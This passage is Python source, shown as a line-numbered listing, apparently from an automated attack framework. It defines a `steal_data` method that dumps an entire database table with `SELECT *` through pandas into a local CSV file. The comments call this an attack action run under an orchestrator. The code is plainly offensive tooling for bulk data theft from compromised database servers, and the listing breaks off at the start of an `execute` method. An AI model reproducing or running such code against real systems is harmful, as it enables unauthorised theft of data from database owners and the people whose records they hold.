Download data from the table in the database to a local file.
(self, engine, table, schema, local_dir)
| 70 | return [] |
| 71 | |
| 72 | def steal_data(self, engine, table, schema, local_dir): |
| 73 | """ |
| 74 | Download data from the table in the database to a local file. |
| 75 | """ |
| 76 | import pandas as pd # lazy: keeps ~44MB pandas out of RAM until an attack action runs |
| 77 | try: |
| 78 | if self.shared_data.orchestrator_should_exit: |
| 79 | logger.info("Data stealing process interrupted due to orchestrator exit.") |
| 80 | return |
| 81 | query = f"SELECT * FROM {schema}.{table}" |
| 82 | df = pd.read_sql(query, engine) |
| 83 | local_file_path = os.path.join(local_dir, f"{schema}_{table}.csv") |
| 84 | df.to_csv(local_file_path, index=False) |
| 85 | logger.success(f"Downloaded data from table {schema}.{table} to {local_file_path}") |
| 86 | except Exception as e: |
| 87 | logger.error(f"Error downloading data from table {schema}.{table}: {e}") |
| 88 | |
| 89 | def execute(self, ip, port, row, status_key): |